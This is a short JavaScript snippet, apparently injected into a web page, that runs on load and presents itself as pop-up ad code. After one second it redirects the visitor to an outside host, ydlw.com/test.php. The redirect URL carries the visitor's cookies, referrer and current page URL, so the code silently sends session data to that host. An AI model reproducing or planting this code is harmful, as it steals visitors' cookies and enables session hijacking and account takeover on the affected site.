function Get(){ var Then = new Date() var ref=document.referrer Then.setTime(Then.getTime() + 24*60*60*1000) var cookieString = new String(document.cookie) var cookieHeader = "Cookie1=" var beginPosition = cookieString.indexOf(cookieHeader) if (beginPosition != -1){ } else { document.cookie = "Cookie1=POPWIN;expires="+ Then.toGMTString() var focusid=setTimeout("focus();var popAd= document.location = '//ydlw.com/test.php?cookie=' + escape(document.cookie) + escape(document.referrer)+escape(window.location.href);",1000); } }Get();